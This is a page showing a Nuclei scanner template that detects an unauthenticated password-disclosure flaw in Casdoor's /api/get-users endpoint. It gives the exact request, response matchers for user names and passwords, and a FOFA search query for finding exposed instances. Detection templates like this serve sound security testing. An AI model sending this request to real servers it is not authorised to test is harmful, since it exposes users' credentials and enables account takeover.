Skip to content

Casdoor get-users Account Password Disclosure

ID: casdoor-users-password

Severity: high

Author: DhiyaneshDk

Tags: casdoor,exposure,misconfig,disclosure

Casdoor get-users Account Password is exposed.

id: casdoor-users-password
info:
name: Casdoor get-users Account Password Disclosure
author: DhiyaneshDk
severity: high
description: Casdoor get-users Account Password is exposed.
reference:
- https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Casbin%20get-users%20%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md?plain=1
- https://github.com/qingchenhh/qc_poc/blob/main/Goby/Casbin_get_users.go
classification:
cpe: cpe:2.3:a:casbin:casdoor:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: casbin
product: casdoor
fofa-query: title="Casdoor"
tags: casdoor,exposure,misconfig,disclosure
http:
- method: GET
path:
- "{{BaseURL}}/api/get-users?p=123&pageSize=123"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"name":'
- '"password":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 490a0046304402200f6d20c47429e9741d96a2207dfe46ac83248bba053b615cd09584ddbe912aa20220165122ef4fe0864b6bda72f2c1375afed8ab6d31139ebd8a89441bcd4e68c457:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/misconfiguration/casdoor-users-password.yaml"

View on Github